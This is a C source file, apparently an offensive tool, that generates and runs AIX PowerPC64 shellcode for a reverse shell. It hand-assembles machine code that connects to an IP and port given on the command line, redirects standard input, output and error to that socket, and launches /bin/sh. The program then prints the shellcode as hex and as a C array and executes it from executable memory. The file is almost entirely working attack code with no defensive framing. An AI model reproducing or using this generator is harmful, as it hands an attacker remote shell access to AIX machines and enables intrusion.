/*
 * AIX PowerPC64 Shellcode Generator - reverse shell (/bin/sh)
 *
 * Compilation:
 *   gcc -maix64 -o shellcode_reverse_shell shellcode_reverse_shell.c 
 *
 * Usage:
 */  

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

struct function_descriptor {
    void *entry_point;
    void *toc_pointer;
    void *environment;
};

unsigned long long get_toc(void) {
    unsigned long long toc;
    __asm__ volatile ("mr %0, 2" : "=r"(toc));
    return toc;
}

#define LOAD_R9(addr) do { \
    unsigned short hw1 = ((addr) >> 48) & 0xFFFF; \
    unsigned short hw2 = ((addr) >> 32) & 0xFFFF; \
    unsigned short hw3 = ((addr) >> 16) & 0xFFFF; \
    unsigned short hw4 = (addr) & 0xFFFF; \
    *p++ = 0x3d; *p++ = 0x20; *p++ = (hw1 >> 8); *p++ = (hw1 & 0xFF); \
    *p++ = 0x61; *p++ = 0x29; *p++ = (hw2 >> 8); *p++ = (hw2 & 0xFF); \
    *p++ = 0x79; *p++ = 0x29; *p++ = 0x07; *p++ = 0xc6; \
    *p++ = 0x65; *p++ = 0x29; *p++ = (hw3 >> 8); *p++ = (hw3 & 0xFF); \
    *p++ = 0x61; *p++ = 0x29; *p++ = (hw4 >> 8); *p++ = (hw4 & 0xFF); \
} while(0)

#define CALL_VIA_R9() do { \
    *p++ = 0xe9; *p++ = 0x69; *p++ = 0x00; *p++ = 0x00; \
    *p++ = 0xe8; *p++ = 0x49; *p++ = 0x00; *p++ = 0x08; \
    *p++ = 0x7d; *p++ = 0x69; *p++ = 0x03; *p++ = 0xa6; \
    *p++ = 0x4e; *p++ = 0x80; *p++ = 0x04; *p++ = 0x21; \
} while(0)

void build_shellcode(unsigned char *shellcode, size_t *size,
                     unsigned long long socket_addr,
                     unsigned long long connect_addr,
                     unsigned long long dup2_addr,
                     unsigned long long system_addr,
                     const char *ip_addr,
                     int port) {
    unsigned char *p = shellcode;

    struct in_addr ip;
    inet_pton(AF_INET, ip_addr, &ip);
    unsigned int ip_net = ip.s_addr;
    unsigned short port_net = htons(port);

    // Prologue
    *p++ = 0x7c; *p++ = 0x08; *p++ = 0x02; *p++ = 0xa6;
    *p++ = 0xf8; *p++ = 0x01; *p++ = 0x00; *p++ = 0x10;
    *p++ = 0xf8; *p++ = 0x21; *p++ = 0xff; *p++ = 0x01;
    *p++ = 0xf8; *p++ = 0x41; *p++ = 0x00; *p++ = 0x28;

    // socket()
    LOAD_R9(socket_addr);
    *p++ = 0x38; *p++ = 0x60; *p++ = 0x00; *p++ = 0x02;
    *p++ = 0x38; *p++ = 0x80; *p++ = 0x00; *p++ = 0x01;
    *p++ = 0x38; *p++ = 0xa0; *p++ = 0x00; *p++ = 0x00;
    CALL_VIA_R9();
    *p++ = 0xf8; *p++ = 0x61; *p++ = 0x00; *p++ = 0x78;
    *p++ = 0xe8; *p++ = 0x41; *p++ = 0x00; *p++ = 0x28;

    // Build sockaddr_in
    unsigned int first_word = (0x10 << 24) | (0x02 << 16) | port_net;
    unsigned short hw1 = (first_word >> 16) & 0xFFFF;
    unsigned short hw2 = first_word & 0xFFFF;

    *p++ = 0x3d; *p++ = 0x40; *p++ = (hw1 >> 8); *p++ = (hw1 & 0xFF);
    *p++ = 0x61; *p++ = 0x4a; *p++ = (hw2 >> 8); *p++ = (hw2 & 0xFF);
    *p++ = 0x79; *p++ = 0x4a; *p++ = 0x07; *p++ = 0xc6;

    unsigned short ip_high = (ip_net >> 16) & 0xFFFF;
    unsigned short ip_low = ip_net & 0xFFFF;

    *p++ = 0x65; *p++ = 0x4a; *p++ = (ip_high >> 8); *p++ = (ip_high & 0xFF);
    *p++ = 0x61; *p++ = 0x4a; *p++ = (ip_low >> 8); *p++ = (ip_low & 0xFF);
    *p++ = 0xf9; *p++ = 0x41; *p++ = 0x00; *p++ = 0x80;

    *p++ = 0x39; *p++ = 0x60; *p++ = 0x00; *p++ = 0x00;
    *p++ = 0xf9; *p++ = 0x61; *p++ = 0x00; *p++ = 0x88;

    // connect()
    LOAD_R9(connect_addr);
    *p++ = 0xe8; *p++ = 0x61; *p++ = 0x00; *p++ = 0x78;
    *p++ = 0x38; *p++ = 0x81; *p++ = 0x00; *p++ = 0x80;
    *p++ = 0x38; *p++ = 0xa0; *p++ = 0x00; *p++ = 0x10;
    CALL_VIA_R9();
    *p++ = 0xe8; *p++ = 0x41; *p++ = 0x00; *p++ = 0x28;

    // dup2() x3
    LOAD_R9(dup2_addr);
    *p++ = 0xe8; *p++ = 0x61; *p++ = 0x00; *p++ = 0x78;
    *p++ = 0x38; *p++ = 0x80; *p++ = 0x00; *p++ = 0x00;
    CALL_VIA_R9();
    *p++ = 0xe8; *p++ = 0x41; *p++ = 0x00; *p++ = 0x28;

    LOAD_R9(dup2_addr);
    *p++ = 0xe8; *p++ = 0x61; *p++ = 0x00; *p++ = 0x78;
    *p++ = 0x38; *p++ = 0x80; *p++ = 0x00; *p++ = 0x01;
    CALL_VIA_R9();
    *p++ = 0xe8; *p++ = 0x41; *p++ = 0x00; *p++ = 0x28;

    LOAD_R9(dup2_addr);
    *p++ = 0xe8; *p++ = 0x61; *p++ = 0x00; *p++ = 0x78;
    *p++ = 0x38; *p++ = 0x80; *p++ = 0x00; *p++ = 0x02;
    CALL_VIA_R9();
    *p++ = 0xe8; *p++ = 0x41; *p++ = 0x00; *p++ = 0x28;

    // system() call
    LOAD_R9(system_addr);

    // Just use /bin/sh - simplest and most reliable
    const char *cmd = "/bin/sh";
    int cmd_len = strlen(cmd) + 1;

    // Build string byte by byte
    for (int offset = 0; offset < cmd_len; offset += 8) {
        unsigned long long val = 0;
        for (int b = 0; b < 8; b++) {
            if (offset + b < cmd_len) {
                val = (val << 8) | ((unsigned char)cmd[offset + b]);
            }
        }

        hw1 = (val >> 48) & 0xFFFF;
        hw2 = (val >> 32) & 0xFFFF;
        unsigned short hw3 = (val >> 16) & 0xFFFF;
        unsigned short hw4 = val & 0xFFFF;

        *p++ = 0x3d; *p++ = 0x40; *p++ = (hw1 >> 8); *p++ = (hw1 & 0xFF);
        *p++ = 0x61; *p++ = 0x4a; *p++ = (hw2 >> 8); *p++ = (hw2 & 0xFF);
        *p++ = 0x79; *p++ = 0x4a; *p++ = 0x07; *p++ = 0xc6;
        *p++ = 0x65; *p++ = 0x4a; *p++ = (hw3 >> 8); *p++ = (hw3 & 0xFF);
        *p++ = 0x61; *p++ = 0x4a; *p++ = (hw4 >> 8); *p++ = (hw4 & 0xFF);
        *p++ = 0xf9; *p++ = 0x41; *p++ = 0x00; *p++ = (0x90 + offset);
    }

    *p++ = 0x38; *p++ = 0x61; *p++ = 0x00; *p++ = 0x90;
    CALL_VIA_R9();

    // Epilogue
    *p++ = 0xe8; *p++ = 0x41; *p++ = 0x00; *p++ = 0x28;
    *p++ = 0x38; *p++ = 0x21; *p++ = 0x01; *p++ = 0x00;
    *p++ = 0xe8; *p++ = 0x01; *p++ = 0x00; *p++ = 0x10;
    *p++ = 0x7c; *p++ = 0x08; *p++ = 0x03; *p++ = 0xa6;
    *p++ = 0x4e; *p++ = 0x80; *p++ = 0x00; *p++ = 0x20;

    *size = p - shellcode;
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("Usage: %s <IP> <PORT>\n", argv[0]);
        return 1;
    }

    printf("=======================================================\n");
    printf("AIX 7.x PowerPC64  Shellcode Generator - Reverse Shell \n");
    printf("=======================================================\n\n");

    unsigned long long my_toc = get_toc();

    unsigned long long socket_addr = (unsigned long long)socket;
    unsigned long long connect_addr = (unsigned long long)connect;
    unsigned long long dup2_addr = (unsigned long long)dup2;
    unsigned long long system_addr = (unsigned long long)system;

    printf("Command: /bin/sh\n\n");

    unsigned char shellcode[2048];
    size_t sc_size;
    build_shellcode(shellcode, &sc_size, socket_addr, connect_addr, dup2_addr,
                    system_addr, argv[1], atoi(argv[2]));

    printf("Shellcode size: %zu bytes\n", sc_size);
    printf("Target: %s:%s\n\n", argv[1], argv[2]);

    // Display shellcode
    printf("Shellcode (hex):\n");
    for (size_t i = 0; i < sc_size; i++) {
        if (i % 16 == 0) printf("  %04zx: ", i);
        printf("%02x ", shellcode[i]);
        if ((i + 1) % 16 == 0 || i == sc_size - 1) printf("\n");
    }

    printf("\nShellcode (C array):\n");
    printf("unsigned char shellcode[] =\n");
    for (size_t i = 0; i < sc_size; i++) {
        if (i % 4 == 0) printf("  \"");
        printf("\\x%02x", shellcode[i]);
        if ((i + 1) % 4 == 0) {
            printf("\"");
            if (i < sc_size - 1) printf("\n");
        }
    }
    if (sc_size % 4 != 0) printf("\"");
    printf(";\n\n");

    // Execute
    void *sc_mem = valloc(4096);
    memcpy(sc_mem, shellcode, sc_size);
    mprotect(sc_mem, 4096, PROT_READ | PROT_WRITE | PROT_EXEC);

    struct function_descriptor *desc = valloc(sizeof(*desc));
    desc->entry_point = sc_mem;
    desc->toc_pointer = (void*)my_toc;
    desc->environment = NULL;

    printf("Executing shellcode...\n\n");
    ((void (*)(void))desc)();

    printf("\nShell exited - returned normally!\n");
    return 0;
}
